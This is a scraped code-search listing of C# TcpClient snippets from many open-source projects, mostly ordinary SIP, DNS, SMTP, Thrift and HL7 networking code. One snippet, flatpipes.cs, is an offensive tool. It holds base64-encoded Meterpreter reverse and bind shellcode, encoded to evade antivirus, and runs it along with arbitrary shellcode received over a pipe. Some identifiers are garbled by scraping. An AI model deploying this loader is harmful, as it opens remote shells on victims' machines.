//sipTLSConnection.SIPStream.BeginRead(sipTLSConnection.SocketBuffer, 0, MaxSIPTCPMessageSize, new AsyncCallback(ReceiveCallback), sipTLSConnection);
}
catch (Exception e)
{
logger.Error("SIPTLSChannel Accept Connection Exception. " + e);
//sslStream.Close();
//tcpClient.Close();
}
}
logger.Debug("SIPTLSChannel socket on " + m_localSIPEndPoint + " listening halted.");
}
catch (Exception excp)
{
logger.Error("Exception SIPTLSChannel Listen. " + excp);
//throw excp;
}
}
19
Source : SIPTLSChannel.cs
with BSD 2-Clause "Simplified" License
from double-hi
with BSD 2-Clause "Simplified" License
from double-hi
private void EndConnect(IAsyncResult ar)
{
object[] stateObj = (object[])ar.AsyncState;
TcpClient tcpClient = (TcpClient)stateObj[0];
IPEndPoint dstEndPoint = (IPEndPoint)stateObj[1];
byte[] buffer = (byte[])stateObj[2];
string serverCN = (string)stateObj[3];
try
{
m_connectingSockets.Remove(dstEndPoint.ToString());
tcpClient.EndConnect(ar);
SslStream sslStream = new SslStream(tcpClient.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
//DisplayCertificateInformation(sslStream);
SIPConnection callerConnection = new SIPConnection(this, tcpClient, sslStream, dstEndPoint, SIPProtocolsEnum.tls, SIPConnectionsEnum.Caller);
sslStream.BeginAuthenticateAsClient(serverCN, EndAuthenticateAsClient, new object[] { tcpClient, dstEndPoint, buffer, callerConnection });
//sslStream.AuthenticateAsClient(serverCN);
//if (tcpClient != null && tcpClient.Connected)
//{
// SIPConnection callerConnection = new SIPConnection(this, sslStream, dstEndPoint, SIPProtocolsEnum.tls, SIPConnectionsEnum.Caller);
// m_connectedSockets.Add(dstEndPoint.ToString(), callerConnection);
// callerConnection.SIPSocketDisconnected += SIPTLSSocketDisconnected;
// callerConnection.SIPMessageReceived += SIPTLSMessageReceived;
// //byte[] receiveBuffer = new byte[MaxSIPTCPMessageSize];
// callerConnection.SIPStream.BeginRead(callerConnection.SocketBuffer, 0, MaxSIPTCPMessageSize, new AsyncCallback(ReceiveCallback), callerConnection);
// logger.Debug("Established TLS connection to " + dstEndPoint + ".");
// callerConnection.SIPStream.BeginWrite(buffer, 0, buffer.Length, EndSend, callerConnection);
//}
//else
//{
// logger.Warn("Could not establish TLS connection to " + dstEndPoint + ".");
//}
}
catch (Exception excp)
{
logger.Error("Exception SIPTLSChannel EndConnect. " + excp);
if(tcpClient != null)
{
try
{
tcpClient.Close();
}
catch(Exception closeExcp)
{
logger.Warn("Exception SIPTLSChannel EndConnect Close TCP Client. " + closeExcp);
}
}
}
}
19
Source : ImpServer.cs
with GNU General Public License v3.0
from DouglasDwyer
with GNU General Public License v3.0
from DouglasDwyer
private void AcceptTcpClient(IAsyncResult result)
{
TcpClient client = Listener.EndAcceptTcpClient(result);
Listener.BeginAcceptTcpClient(AcceptTcpClient, null);
try
{
if (ActiveClients.Count >= MaximumConnectedClients)
{
client.Close();
}
else
{
BinaryWriter writer = new BinaryWriter(client.GetStream());
BinaryReader reader = new BinaryReader(client.GetStream());//BadProxyBinder.Instance.GetRemoteClreplaced(ShareAsAttribute.ProxyIndex[reader.ReadUInt16()]);
ImpClient kClient = null;
ActiveClients.Add(x =>
{
ushort networkID = (ushort)(x + 1);
ImpPowerSerializer serializer = (ImpPowerSerializer)DefaultSerializer.Clone();
kClient = new ImpClient(client, this, networkID, DefaultMaximumHeldObjects, DefaultMaximumRemoteObjects, UnreliableListener, DefaultProxyBinder, serializer, DefaultRemoteTaskScheduler);
CheckClientType(kClient.RemoteClient.GetType());
return kClient.RemoteClient;
});
OnClientConnected(kClient.RemoteClient);
}
}
catch(Exception e)
{
OnClientNetworkError(null, e);
}
}
19
Source : ImpClient.cs
with GNU General Public License v3.0
from DouglasDwyer
with GNU General Public License v3.0
from DouglasDwyer
[Local]
public virtual void Connect(IPAddress ip, int port)
{
if (Connected || InternalClient != null)
{
throw new InvalidOperationException("The ImpClient is currently in use.");
}
lock (Locker)
{
InternalClient = new TcpClient();
}
InternalClient.NoDelay = true;
InternalClient.Connect(ip, port);
lock (Locker)
{
MessageWriter = new BinaryWriter(InternalClient.GetStream());
ListenerThread = new Thread(RunCommunications);
ListenerThread.IsBackground = true;
BinaryReader networkReader = new BinaryReader(InternalClient.GetStream());
InitializeClientConnection();
Connected = true;
ListenerThread.Start();
}
}
19
Source : ImpClient.cs
with GNU General Public License v3.0
from DouglasDwyer
with GNU General Public License v3.0
from DouglasDwyer
[Local]
public virtual async Task ConnectAsync(IPAddress ip, int port)
{
if (Connected || InternalClient != null)
{
throw new InvalidOperationException("The ImpClient is currently in use.");
}
lock (Locker)
{
InternalClient = new TcpClient();
}
InternalClient.NoDelay = true;
await InternalClient.ConnectAsync(ip, port);
lock (Locker)
{
MessageWriter = new BinaryWriter(InternalClient.GetStream());
ListenerThread = new Thread(RunCommunications);
ListenerThread.IsBackground = true;
BinaryReader networkReader = new BinaryReader(InternalClient.GetStream());
InitializeClientConnection();
Connected = true;
ListenerThread.Start();
}
}
19
Source : ImpClient.cs
with GNU General Public License v3.0
from DouglasDwyer
with GNU General Public License v3.0
from DouglasDwyer
private void InitializeClientConnection()
{
HeldObjectsData[HeldObjects.Add(this)] = new CountedObject<object>(this);
BinaryReader reader = new BinaryReader(InternalClient.GetStream());
NetworkID = reader.ReadUInt16();
MessageWriter.Write(GetSharedInterfaceForType(GetType()).replacedemblyQualifiedName);
Server = (IImpServer)GetOrCreateRemoteSharedObject(0, Type.GetType(reader.ReadString()));
IPEndPoint remoteEndPoint = (IPEndPoint)InternalClient.Client.RemoteEndPoint;
UnreliableRemoteEndPoint = new IPEndPoint(remoteEndPoint.Address.AddressFamily == AddressFamily.InterNetwork ? remoteEndPoint.Address.MapToIPv6() : remoteEndPoint.Address, reader.ReadUInt16());
Socket socket = new Socket(AddressFamily.InterNetworkV6, SocketType.Dgram, ProtocolType.Udp);
socket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.IPv6Only, false);
socket.Bind(new IPEndPoint(IPAddress.Any, 0));
UnreliableClient = new UdpClient(AddressFamily.InterNetworkV6);
UnreliableClient.Client = socket;
UnreliableClient.BeginReceive(ReceiveUnreliableData, null);
MessageWriter.Write((ushort)((IPEndPoint)UnreliableClient.Client.LocalEndPoint).Port);
}
19
Source : ImpClient.cs
with GNU General Public License v3.0
from DouglasDwyer
with GNU General Public License v3.0
from DouglasDwyer
private void InitializeServerConnection()
{
MessageWriter.Write(NetworkID);
HeldObjectsData[HeldObjects.Add(Server)] = new CountedObject<object>(Server);
BinaryReader reader = new BinaryReader(InternalClient.GetStream());
MessageWriter.Write(GetSharedInterfaceForType(Server.GetType()).replacedemblyQualifiedName);
MessageWriter.Write((ushort)((IPEndPoint)UnreliableClient.Client.LocalEndPoint).Port);
RemoteClient = (IImpClient)GetOrCreateRemoteSharedObject(0, Type.GetType(reader.ReadString()));
IPEndPoint remoteEndPoint = (IPEndPoint)InternalClient.Client.RemoteEndPoint;
UnreliableRemoteEndPoint = new IPEndPoint(remoteEndPoint.Address.AddressFamily == AddressFamily.InterNetwork ? remoteEndPoint.Address.MapToIPv6() : remoteEndPoint.Address, reader.ReadUInt16());
}
19
Source : ImpClient.cs
with GNU General Public License v3.0
from DouglasDwyer
with GNU General Public License v3.0
from DouglasDwyer
private void RunCommunications()
{
try
{
NetworkStream str = InternalClient.GetStream();
BinaryReader networkReader = new BinaryReader(InternalClient.GetStream());
while(true)
{
int messageLength = networkReader.ReadInt32();
object o = Serializer.Deserialize<ImpMessage>(networkReader.ReadBytes(messageLength));
MessageCallbacks[o.GetType()].Invoke(this, new[] { o });
}
}
catch(Exception e)
{
lock(Locker)
{
bool wasConnected = Connected;
ProcessDisconnection();
if(wasConnected)
{
if(!(e is EndOfStreamException) && !(e is IOException && (e.Message == "An existing connection was forcibly closed by the remote host." || e.Message == "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host..")))
{
OnNetworkError(e);
}
OnDisconnected();
}
}
}
}
19
Source : TestSMTPServer.cs
with GNU General Public License v3.0
from DSorlov
with GNU General Public License v3.0
from DSorlov
protected override void ProcessRecord()
{
if (ShouldProcess(serverName, "Check mailserver"))
{
IPAddress address;
IPAddress[] addresses = new IPAddress[] { };
if (IPAddress.TryParse(serverName,out address))
{
WriteVerbose(string.Format("{0} is a IP, will not look up. Proceeding to connection test..",serverName));
addresses = new IPAddress[] { address };
}
else
{
WriteVerbose(string.Format("{0} is not a IP, will now look it up..",serverName));
try { addresses = System.Net.Dns.GetHostAddresses(serverName); }
catch { }
WriteVerbose(string.Format("Found {0} matches to that hostname..",addresses.Length));
}
if (addresses.Length < 1)
{
WriteObject(new SMTPConversationResult("Mailserver hostname could not be resolved", false, TimeSpan.Zero,senderName,recipientName,serverName));
}
else
{
foreach(IPAddress host in addresses)
{
TcpClient client = new TcpClient(host.AddressFamily);
DateTime startTime = DateTime.Now;
IAsyncResult clientConnect = client.BeginConnect(host, serverPort, null, null);
clientConnect.AsyncWaitHandle.WaitOne(1000, false);
if (client.Connected)
{
NetworkStream stream = client.GetStream();
StreamReader reader = new StreamReader(stream);
StreamWriter writer = new StreamWriter(stream);
Thread.Sleep(500);
SMTPConversationResult result = SMTPTalker(startTime,reader, writer, host.ToString());
WriteObject(result);
writer.Close();
reader.Close();
client.Close();
}
else
WriteObject(new SMTPConversationResult("Connection timed out", false, TimeSpan.Zero,senderName,recipientName,host.ToString()));
}
}
}
}
19
Source : TestIPPort.cs
with GNU General Public License v3.0
from DSorlov
with GNU General Public License v3.0
from DSorlov
protected override void ProcessRecord()
{
if (ShouldProcess(string.Format("{0}:{1}[{2}]",ipHost,ipPort,ipProto), "Check port"))
{
IPAddress address;
IPAddress[] addresses = new IPAddress[] { };
if (IPAddress.TryParse(ipHost,out address))
{
WriteVerbose(string.Format("{0} is a IP, will not look up. Proceeding to connection test..",ipHost));
addresses = new IPAddress[] { address };
}
else
{
WriteVerbose(string.Format("{0} is not a IP, will now look it up..",ipHost));
try { addresses = System.Net.Dns.GetHostAddresses(ipHost); }
catch { }
WriteVerbose(string.Format("Found {0} matches to that hostname..",addresses.Length));
}
if (addresses.Length < 1)
{
WriteError(new ErrorRecord(new InvalidDataException("No such host found"),"1",ErrorCategory.InvalidData,ipHost));
WriteObject(new IPTestPortResult(ipHost, ipPort, IPAddress.None, false, new System.IO.IOException("Host not found"), null, ipProto, TimeSpan.Zero, IPStatus.Unknown));
}
else
{
foreach(IPAddress host in addresses)
{
Ping ping = new Ping();
PingReply pingReply = ping.Send(host, ipTimeout);
if (ipProto == ProtocolType.Tcp)
{
TcpClient client = new TcpClient(host.AddressFamily);
DateTime startTime = DateTime.Now;
IAsyncResult clientConnect = client.BeginConnect(host, ipPort, null, null);
clientConnect.AsyncWaitHandle.WaitOne(ipTimeout, false);
TimeSpan duration = DateTime.Now - startTime;
if (client.Connected)
{
string networkData = null;
NetworkStream stream = client.GetStream();
StreamReader reader = new StreamReader(stream);
Thread.Sleep(500);
if (stream.DataAvailable) networkData = reader.ReadLine();
reader.Close();
stream.Close();
WriteObject(new IPTestPortResult(ipHost, ipPort, host, true, null, networkData, ipProto, duration,pingReply.Status));
}
else
{
WriteObject(new IPTestPortResult(ipHost, ipPort, host, false, new TimeoutException("Connect timed out"), null, ipProto, duration,pingReply.Status));
}
}
else
{
ASCIIEncoding encoder = new ASCIIEncoding();
byte[] data = encoder.GetBytes(DateTime.UtcNow.ToFileTimeUtc().ToString());
UdpClient udpClient = new UdpClient(host.AddressFamily);
udpClient.Client.ReceiveTimeout = ipTimeout;
udpClient.Connect(host, ipPort);
DateTime startTime = DateTime.Now;
udpClient.Send(data, data.Length);
IPEndPoint endpoint = new IPEndPoint(IPAddress.Any, 0);
try
{
byte[] remoteData = udpClient.Receive(ref endpoint);
TimeSpan duration = DateTime.Now - startTime;
WriteObject(new IPTestPortResult(ipHost, ipPort, host, true, null, encoder.GetString(remoteData), ipProto, duration,pingReply.Status));
}
catch(SocketException e)
{
TimeSpan duration = DateTime.Now - startTime;
WriteObject(new IPTestPortResult(ipHost, ipPort, host, false, e, null, ipProto, duration,pingReply.Status));
}
finally
{
udpClient.Close();
}
}
}
}
}
}
19
Source : Resolver.cs
with GNU General Public License v3.0
from DSorlov
with GNU General Public License v3.0
from DSorlov
private Response TcpRequest(Request request)
{
//System.Diagnostics.Stopwatch sw = new System.Diagnostics.Stopwatch();
//sw.Start();
byte[] responseMessage = new byte[512];
for (int intAttempts = 0; intAttempts < m_Retries; intAttempts++)
{
for (int intDnsServer = 0; intDnsServer < m_DnsServers.Count; intDnsServer++)
{
TcpClient tcpClient = new TcpClient();
tcpClient.ReceiveTimeout = m_Timeout * 1000;
try
{
IAsyncResult result = tcpClient.BeginConnect(m_DnsServers[intDnsServer].Address, m_DnsServers[intDnsServer].Port, null, null);
bool success = result.AsyncWaitHandle.WaitOne(m_Timeout*1000, true);
if (!success || !tcpClient.Connected)
{
tcpClient.Close();
Verbose(string.Format(";; Connection to nameserver {0} failed", (intDnsServer + 1)));
continue;
}
BufferedStream bs = new BufferedStream(tcpClient.GetStream());
byte[] data = request.Data;
bs.WriteByte((byte)((data.Length >> 8) & 0xff));
bs.WriteByte((byte)(data.Length & 0xff));
bs.Write(data, 0, data.Length);
bs.Flush();
Response TransferResponse = new Response();
int intSoa = 0;
int intMessageSize = 0;
//Debug.WriteLine("Sending "+ (request.Length+2) + " bytes in "+ sw.ElapsedMilliseconds+" mS");
while (true)
{
int intLength = bs.ReadByte() << 8 | bs.ReadByte();
if (intLength <= 0)
{
tcpClient.Close();
Verbose(string.Format(";; Connection to nameserver {0} failed", (intDnsServer + 1)));
throw new SocketException(); // next try
}
intMessageSize += intLength;
data = new byte[intLength];
bs.Read(data, 0, intLength);
Response response = new Response(m_DnsServers[intDnsServer], data);
//Debug.WriteLine("Received "+ (intLength+2)+" bytes in "+sw.ElapsedMilliseconds +" mS");
if (response.header.RCODE != RCode.NoError)
return response;
if (response.Questions[0].QType != QType.AXFR)
{
AddToCache(response);
return response;
}
// Zone transfer!!
if(TransferResponse.Questions.Count==0)
TransferResponse.Questions.AddRange(response.Questions);
TransferResponse.Answers.AddRange(response.Answers);
TransferResponse.Authorities.AddRange(response.Authorities);
TransferResponse.Additionals.AddRange(response.Additionals);
if (response.Answers[0].Type == Type.SOA)
intSoa++;
if (intSoa == 2)
{
TransferResponse.header.QDCOUNT = (ushort)TransferResponse.Questions.Count;
TransferResponse.header.ANCOUNT = (ushort)TransferResponse.Answers.Count;
TransferResponse.header.NSCOUNT = (ushort)TransferResponse.Authorities.Count;
TransferResponse.header.ARCOUNT = (ushort)TransferResponse.Additionals.Count;
TransferResponse.MessageSize = intMessageSize;
return TransferResponse;
}
}
} // try
catch (SocketException)
{
continue; // next try
}
finally
{
m_Unique++;
// close the socket
tcpClient.Close();
}
}
}
Response responseTimeout = new Response();
responseTimeout.Error = "Timeout Error";
return responseTimeout;
}
19
Source : Message.cs
with MIT License
from dust63
with MIT License
from dust63
public void Reply(byte[] data)
{
TcpClient.GetStream().Write(data, 0, data.Length);
}
19
Source : TcpClient.cs
with MIT License
from dust63
with MIT License
from dust63
public void Send(byte[] data)
{
if (!IsConnected)
throw new InvalidOperationException($"Cannot sent data, the tcp connection is closed on {Hostname}:{Port}.");
_tcpClient.GetStream().Write(data, 0, data.Length);
}
19
Source : TcpClient.cs
with MIT License
from dust63
with MIT License
from dust63
public Task SendAsync(byte[] data)
{
if (_tcpClient == null)
throw new InvalidOperationException("Cannot send data to a null TcpClient (check to see if Connect was called)");
return _tcpClient.GetStream().WriteAsync(data, 0, data.Length);
}
19
Source : TSocket.cs
with Apache License 2.0
from duyanming
with Apache License 2.0
from duyanming
public override void Open()
{
if (IsOpen)
{
throw new TTransportException(TTransportException.ExceptionType.AlreadyOpen, "Socket already connected");
}
if (String.IsNullOrEmpty(Host))
{
throw new TTransportException(TTransportException.ExceptionType.NotOpen, "Cannot open null host");
}
if (Port <= 0)
{
throw new TTransportException(TTransportException.ExceptionType.NotOpen, "Cannot open without port");
}
if (TcpClient == null)
{
InitSocket();
}
if (timeout == 0) // no timeout -> infinite
{
TcpClient.Connect(Host, Port);
}
else // we have a timeout -> use it
{
var hlp = new ConnectHelper(TcpClient);
var asyncres = TcpClient.BeginConnect(Host, Port, new AsyncCallback(ConnectCallback), hlp);
var bConnected = asyncres.AsyncWaitHandle.WaitOne(timeout) && TcpClient.Connected;
if (!bConnected)
{
lock (hlp.Mutex)
{
if (hlp.CallbackDone)
{
asyncres.AsyncWaitHandle.Close();
TcpClient.Close();
}
else
{
hlp.DoCleanup = true;
TcpClient = null;
}
}
throw new TTransportException(TTransportException.ExceptionType.TimedOut, "Connect timed out");
}
}
inputStream = TcpClient.GetStream();
outputStream = TcpClient.GetStream();
}
19
Source : TTLSSocket.cs
with Apache License 2.0
from duyanming
with Apache License 2.0
from duyanming
public void setupTLS()
{
var validator = certValidator ?? DefaultCertificateValidator;
if (localCertificateSelectionCallback != null)
{
secureStream = new SslStream(
TcpClient.GetStream(),
false,
validator,
localCertificateSelectionCallback
);
}
else
{
secureStream = new SslStream(
TcpClient.GetStream(),
false,
validator
);
}
try
{
if (isServer)
{
// Server authentication
secureStream.Authenticatereplacederver(certificate, certValidator != null, sslProtocols, true);
}
else
{
// Client authentication
var certs = certificate != null ? new X509CertificateCollection { certificate } : new X509CertificateCollection();
secureStream.AuthenticateAsClient(Host, certs, sslProtocols, true);
}
}
catch (Exception)
{
Close();
throw;
}
inputStream = secureStream;
outputStream = secureStream;
}
19
Source : Hl7Mllp.cs
with GNU Lesser General Public License v2.1
from dvtk-org
with GNU Lesser General Public License v2.1
from dvtk-org
public bool Connect(System.String hostname, int port)
{
bool connected = false;
_networkStream = null;
_normalShutdown = false;
try
{
_tcpClient = new TcpClient(hostname, port);
_networkStream = _tcpClient.GetStream();
connected = true;
}
catch (System.Exception e)
{
// failed to connect
if (_normalShutdown == false)
{
Console.WriteLine("HL7 - MLLP: Connect exception: {0}", e.Message);
}
}
return connected;
}
19
Source : flatpipes.cs
with MIT License
from dxflatline
with MIT License
from dxflatline
static void Main(string[] args)
{
// HANLDE PARAMS
if (args.Length<6)
{
Console.WriteLine("\nUsage: flatpipes [pipemode] [socketmode] [pipename] [pipeaddr] [ip] [port] [extension]\n");
Console.WriteLine(" pipemode\tTo connect to or create locally a pipe (pserver|pclient)");
Console.WriteLine(" socketmode\tAfter piping, TCP listen or connect (sserver|sclient)");
Console.WriteLine(" pipename\tPrefix of the two pipes created");
Console.WriteLine(" pipeaddr\tIP for pipe connection (for local or server use '.')");
Console.WriteLine(" ip/port\tSocket info to listen on or connect to");
Console.WriteLine(" extension\tMisc tools (revmeter|bindmeter|customhex)");
Environment.Exit(1);
}
String pmode = args[0];
String smode = args[1];
String pipename = args[2];
String pipeaddr = args[3];
String ip = args[4];
String port = args[5];
String extension = null;
if (args.Length == 7) extension = args[6];
// Check some unsupported conditions
if ((extension != null) && (String.Compare(pmode, "pclient") == 0))
{
Console.WriteLine("[*] Extensions are not currently supported on pclient. Use on pserver only.");
Environment.Exit(1);
}
if ( String.Compare(smode, "sclient") == 0 && String.Compare(extension, "revmeter") == 0)
{
Console.WriteLine("[*] Reverse payload on sclient config does not make sense. Use sserver instead.");
Environment.Exit(1);
}
if ( String.Compare(smode, "sserver") == 0 && String.Compare(extension, "bindmeter") == 0)
{
Console.WriteLine("[*] Bind payload on sserver config does not make sense. Use sclient instead.");
Environment.Exit(1);
}
// PRINT ARCHITECTURE
if (IntPtr.Size == 4) Console.WriteLine("[!] Running as 32-bit");
else if (IntPtr.Size == 8) Console.WriteLine("[!] Running as 64-bit");
else Console.WriteLine("[!] Running in the future");
// PIPE SERVER IMPLEMENTATION
if (String.Compare(pmode, "pserver") ==0)
{
// Handle pipes (block until connected)
Console.WriteLine("[!] Waiting for pipe connections");
var pipe_s2c = new NamedPipeServerStream(pipename + "_s2c", PipeDirection.Out); // Writing to client
var pipe_c2s = new NamedPipeServerStream(pipename + "_c2s", PipeDirection.In); // Reading from client
pipe_s2c.WaitForConnection();
Console.WriteLine("[!] Client connected on downstream pipe");
pipe_c2s.WaitForConnection();
Console.WriteLine("[!] Client connected on upstream pipe");
StreamString ss_s2c = new StreamString(pipe_s2c);
StreamString ss_c2s = new StreamString(pipe_c2s);
// Check for extensions execution
IntPtr shellcodeProcessHandle = IntPtr.Zero;
if (extension != null)
{
if (String.Compare(extension, "revmeter") == 0 && String.Compare(smode, "sserver") == 0)
{
Console.WriteLine("[!] Extension " + extension + " starting.");
// We preplaced through encoding to minimize the AV catching popular staged meterpreter strings
// Shellcode formatted by msfvenom
// Below is: msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=54321 -f raw 2>/dev/null | gzip | base64 -w 0
String ShellCode_B64 = "H4sIADgM9VgAA/vzoomBgSGh86nhgZTuAIPuIJ7uIJHuIg3+7V5qhv/X2CTWMOkoHDzPy3j80aeg8O4ggW4vm24fwYrHHowXA7sjFRgvd3tKPLby7DbpZrwG1ABWavGg9Btz7Q/rWpXSJxHdESqMl9O6eby7I2SAqlm6GS90uqioREcnRkYF/n8QHx/VLfS6NzbD2IiBIaO82Cg+JMOnXI39/9UdExgZGDSPhARkaDZkM/y/msWaUc/AwJjBxHDFsPNZABA4AGHGK/77D/5fnZ4lEBaeMXNpSeL/q60HSrj++3GUvnmRCPRbFkMWC1CK6eaJ+P9Xm38w1Jl1m2U5ZDAIMDCEZTFkRCwJfvr/6uTgLIawYCRVtUoRGQwOIN0BGdz6/Ab/r4ZnlOb5Ak2Pi/vPo/Ky8P///4yHNY+VHj+8+8PWRUCTgv9fBQBn+JV+TQEAAA==";
// Decode base64
byte[] ShellCode_gzip = Convert.FromBase64String(ShellCode_B64);
// Decompress
byte[] ShellCode_c = Decompress(ShellCode_gzip);
// "Monkey patch" the port
string portHex = Convert.ToInt32(port).ToString("X").ToLower();
if (portHex.Length == 4)
{
ShellCode_c[181] = Convert.ToByte(portHex.Substring(0, 2), 16);
ShellCode_c[182] = Convert.ToByte(portHex.Substring(2, 2), 16);
}
else if (portHex.Length == 2)
{
ShellCode_c[181] = 0;
ShellCode_c[182] = Convert.ToByte(portHex.Substring(0, 2), 16);
}
// Execute payload and get returned handle
shellcodeProcessHandle = exec_shellcode(ShellCode_c);
//WaitForSingleObject(hThread, 0xFFFFFFFF);
//Console.WriteLine("[!] Extension " + extension + " 4");
}
else if (String.Compare(extension, "bindmeter") == 0 && String.Compare(smode, "sclient") == 0)
{
Console.WriteLine("[!] Extension " + extension + " starting.");
// We preplaced through encoding to minimize the AV catching popular staged meterpreter strings
// Shellcode formatted by msfvenom
// Below is: msfvenom --platform windows -p windows/meterpreter/bind_tcp LHOST=127.0.0.1 LPORT=54321 -f raw 2>/dev/null | gzip | base64 -w 0
String ShellCode_B64 = "H4sIAEoT9VgAA/vzoomBgSGh86nhgZTuAIPuIJ7uIJHuIg3+7V5qhv/X2CTWMOkoHDzPy3j80aeg8O4ggW4vm24fwYrHHowXA7sjFRgvd3tKPLby7DbpZrwG1ABWavGg9Btz7Q/rWpXSJxHdESqMl9O6eby7I2SAqlm6GS90uqioREcnRkYF/n8QHx/VLfS6NzbD2IiBIaO82Cg+JMOnXI39/9UdExgZGDSPhARkaDZkM/y/msUdGfDobxZjFlPGK/77D/5fnZ7BxHDFsPNZlkBYeMah2+bp/6+2HiiNCM/Y/tLi//+r4Rklb6wfAunpGaV5volAAxiyWIAqmW6eiP9/tfkHQ51ut1mWQwaDAANDWBZDRsSS4Kf/r04OzmIIC0ZWxc54WPNY6cvDAFPg4MorAQAA";
// Decode base64
byte[] ShellCode_gzip = Convert.FromBase64String(ShellCode_B64);
// Decompress
byte[] ShellCode_c = Decompress(ShellCode_gzip);
// "Monkey patch" the port
string portHex = Convert.ToInt32(port).ToString("X").ToLower();
if (portHex.Length == 4)
{
ShellCode_c[192] = Convert.ToByte(portHex.Substring(0, 2), 16);
ShellCode_c[193] = Convert.ToByte(portHex.Substring(2, 2), 16);
}
else if (portHex.Length == 2)
{
ShellCode_c[192] = 0;
ShellCode_c[193] = Convert.ToByte(portHex.Substring(0, 2), 16);
}
// Execute payload and get returned handle
shellcodeProcessHandle = exec_shellcode(ShellCode_c);
//WaitForSingleObject(hThread, 0xFFFFFFFF);
//Console.WriteLine("[!] Extension " + extension + " 4");
}
else if (String.Compare(extension, "customhex") == 0)
{
Console.WriteLine("[!] Extension " + extension + " starting. Waiting payload.");
String dataEncoded;
byte[] dataDecoded;
dataEncoded = ss_c2s.ReadString();
dataDecoded = Convert.FromBase64String(dataEncoded);
shellcodeProcessHandle = exec_shellcode(dataDecoded);
}
}
// Handle socket requirements
NetworkStream networkStream = null;
if (String.Compare(smode, "sclient") == 0)
{
TcpClient tcpClient = null;
bool ok = false;
while (!ok)
{
try
{
tcpClient = new TcpClient(ip, Convert.ToInt32(port));
ok = true;
}
catch (Exception ex)
{
Console.WriteLine("[*] Error while connecting. Trying again in a while..");
DelayMe(1000);
//System.Threading.Thread.Sleep(1000);
//Task.Delay(1000).Wait();
}
}
networkStream = tcpClient.GetStream();
Console.WriteLine("[!] Connected to " + ip + ":" + port);
}
else if (String.Compare(smode, "sserver") == 0)
{
TcpListener tcpServer = new TcpListener(IPAddress.Parse(ip), Convert.ToInt32(port));
// Try to start socket listener until no problem occurs
bool ok = false;
while (!ok)
{
try
{
tcpServer.Start();
ok = true;
}
catch (Exception ex)
{
Console.WriteLine("[*] Error while listening. Check if port is used. Trying again in a while..");
DelayMe(1000);
//System.Threading.Thread.Sleep(1000);
//Task.Delay(1000).Wait();
}
}
Console.WriteLine("[!] Started listener on " + ip + ":" + port);
TcpClient tcpClient = tcpServer.AcceptTcpClient();
Console.WriteLine("[!] Client Connected to socket");
networkStream = tcpClient.GetStream();
}
// Start the upstream/downstream handling tasks
SocketToWritePipe(networkStream, ss_s2c);
ReadPipeToSocket(networkStream, ss_c2s);
if (shellcodeProcessHandle != IntPtr.Zero)
{
Console.WriteLine("[!] Job done. Waiting until shellcode process exits.");
WaitForSingleObject(shellcodeProcessHandle, 0xFFFFFFFF);
}
else
{
Console.WriteLine("[!] Job done. Waiting forever.");
while (true) { }
}
}
// PIPE CLIENT IMPLEMENTATION
else if (String.Compare(pmode, "pclient") == 0)
{
Console.WriteLine(pipeaddr);
// Handle pipes
// Even if pserver is not online, it will block until it opens (seems to wait forever)
var pipe_s2c = new NamedPipeClientStream(pipeaddr, pipename + "_s2c", PipeDirection.In, PipeOptions.None); // Reading from server
var pipe_c2s = new NamedPipeClientStream(pipeaddr, pipename + "_c2s", PipeDirection.Out, PipeOptions.None); // Writing to server
try
{
pipe_s2c.Connect();
Console.WriteLine("[!] Connected to server's downstream pipe");
pipe_c2s.Connect();
Console.WriteLine("[!] Connected to server's upstream pipe");
}
catch (Exception ex)
{
Console.WriteLine("[*] Error while connecting to pipe. Exiting..");
Environment.Exit(1);
}
StreamString ss_s2c = new StreamString(pipe_s2c);
StreamString ss_c2s = new StreamString(pipe_c2s);
// Handle socket requirements
NetworkStream networkStream = null;
if (String.Compare(smode, "sclient") == 0)
{
TcpClient tcpClient = null;
bool ok = false;
while (!ok)
{
try
{
tcpClient = new TcpClient(ip, Convert.ToInt32(port));
ok = true;
}
catch (Exception ex)
{
Console.WriteLine("[*] Error while connecting. Trying again in a while..");
DelayMe(1000);
//System.Threading.Thread.Sleep(1000);
//Task.Delay(1000).Wait();
}
}
networkStream = tcpClient.GetStream();
Console.WriteLine("[!] Connected to " + ip + ":" + port);
}
else if (String.Compare(smode, "sserver") == 0)
{
TcpListener tcpServer = new TcpListener(IPAddress.Parse(ip), Convert.ToInt32(port));
// Try to start socket listener until no problem occurs
bool ok = false;
while (!ok)
{
try
{
tcpServer.Start();
ok = true;
}
catch (Exception ex)
{
Console.WriteLine("[*] Error while listening. Check if port is used. Trying again in a while..");
DelayMe(1000);
//System.Threading.Thread.Sleep(1000);
//Task.Delay(1000).Wait();
}
}
Console.WriteLine("[!] Started listener on " + ip + ":" + port);
TcpClient tcpClient = tcpServer.AcceptTcpClient();
Console.WriteLine("[!] Client Connected to socket");
networkStream = tcpClient.GetStream();
}
// Start the upstream/downstream handling tasks
ReadPipeToSocket(networkStream, ss_s2c);
SocketToWritePipe(networkStream, ss_c2s);
// loop
Console.WriteLine("[!] Job done. Waiting forever.");
while (true) { }
}
}
19
Source : SocketClient.cs
with Apache License 2.0
from eaba
with Apache License 2.0
from eaba
private async Task<Stream> GetStream(DnsEndPoint endPoint)
{
var tcpClient = new TcpClient();
try
{
if (SniProxy)
{
var url = new Uri(_clientConfiguration.ProxyServiceUrl);
endPoint = new DnsEndPoint(url.Host, url.Port);
}
if (!_encrypt)
{
await tcpClient.ConnectAsync(endPoint.Host, endPoint.Port).ConfigureAwait(false);
return tcpClient.GetStream();
}
var addr = await Dns.GetHostAddressesAsync(endPoint.Host).ConfigureAwait(false);
var socket = await ConnectAsync(addr, endPoint.Port).ConfigureAwait(false);
return new NetworkStream(socket, true);
}
catch (Exception ex)
{
tcpClient.Dispose();
_logger.Error(ex.ToString());
throw;
}
}
19
Source : TcpServer.cs
with Apache License 2.0
from eaglet2006
with Apache License 2.0
from eaglet2006
static private void ReturnMessage(object lockObj, System.Net.Sockets.TcpClient tcpClient, MessageHead msgHead,
object returnMsg, Hubble.Framework.Serialization.IMySerialization customSerializer, int clreplacedId)
{
lock (lockObj)
{
System.Net.Sockets.NetworkStream clientStream = tcpClient.GetStream();
//System.Net.Sockets.NetworkStream tcpStream = clientStream;
Hubble.Framework.Net.TcpCacheStream tcpStream = new TcpCacheStream(clientStream);
byte[] sendBuf = BitConverter.GetBytes(msgHead.Event);
